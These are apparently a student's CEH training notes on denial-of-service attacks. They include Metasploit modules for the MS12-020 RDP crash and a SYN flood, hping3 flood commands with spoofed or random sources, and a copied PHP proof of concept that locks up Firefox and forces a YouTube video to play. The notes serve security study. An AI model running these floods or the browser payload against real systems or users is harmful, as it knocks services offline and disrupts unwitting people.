**CEH Notes Day-11 (21/12/2019)**

DoS Attacks

Attempt to make a machine or network unavailable to legitimate users by blocking the service.

Types of DoS attacks:

● Volume Based attacks --> Saturate the bandwidth of attacked site measured in (Bps)-Bits per second

● Protocol Based attacks --> Consuming actual server resources measured in (Pps)-Packets per second

● Application Layer Attacks --> Crash the web server with legitimate request

Flooding Attack

Exploiting open RDP port in DOS system from msfconsole

msf > search ms12-020

use auxiliary/scanner/rdp/ms12\_020\_check

use auxiliary/dos/windows/rdp/ms12\_020\_maxchannelids

/usr/share/metasploit-framework/modules/auxiliary/dos/windows/rdp

SYN Flood

use auxiliary/dos/tcp/synflood

hping3 utility cmds:

--fast send 100pkts/sec

--faster send 1000pkts/sec

--flood send packets as fast as possible

-0 TCP mode(default)

-1 ICMP mode

-2 UDP mode

-S set Syn flag on TCP packet being sent

--rand-source randomise the source IP

-a use a custom IP for source address stamp

Examples

hping3 --fast -S --rand-source 192.168.1.42

hping3 --flood -S -a 10.20.30.40 192.168.1.42

hping3 --flood -1 --rand-source <neighbour ip>

hping3 --flood -2 --rand-source <neighbour ip>

Searchsploit: a command line search tool for Exploit-DB that has a repo of Exploit Database with you.

firefox amit sangra

<https://www.exploit-db.com/exploits/43020>

<?php

$exploit=str\_repeat(chr(0x41),10000);

$location="http://Username".$exploit.":[Password@Firefox.com](mailto:Password@Firefox.com)";

echo "<center><h1>Firefox Lockout Vulnerability</h1>";

//Content to be forcibly viewed

echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";

//End

echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";

?>

curl -i localhost/sss.php

The above php code can lockout root account from when opened on a firefox browser and forcibly launch a content from YouTube.

Slow loris attack

Slowloris is an application layer DDoS attack which uses partial HTTP requests to open connections between a single computer and a targeted Web server, then keeping those connections open for as long as possible, thus overwhelming and slowing down the target.

<https://github.com/llaera/slowloris.pl>

<https://github.com/grafov/hulk>

filezilla remote cpu exhaustion

Crappyftp,pl

<https://vulners.com/zdt/1337DAY-ID-18956>

WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service

<https://www.exploit-db.com/exploits/47563>

Zenmap (Nmap) 7.70 - Denial of Service (PoC)

<https://www.exploit-db.com/exploits/45357>

XML Bomb

<https://www.soapui.org/security-testing/security-scans/xml-bomb.html>

<https://github.com/jbosstools/m2e-polyglot-poc>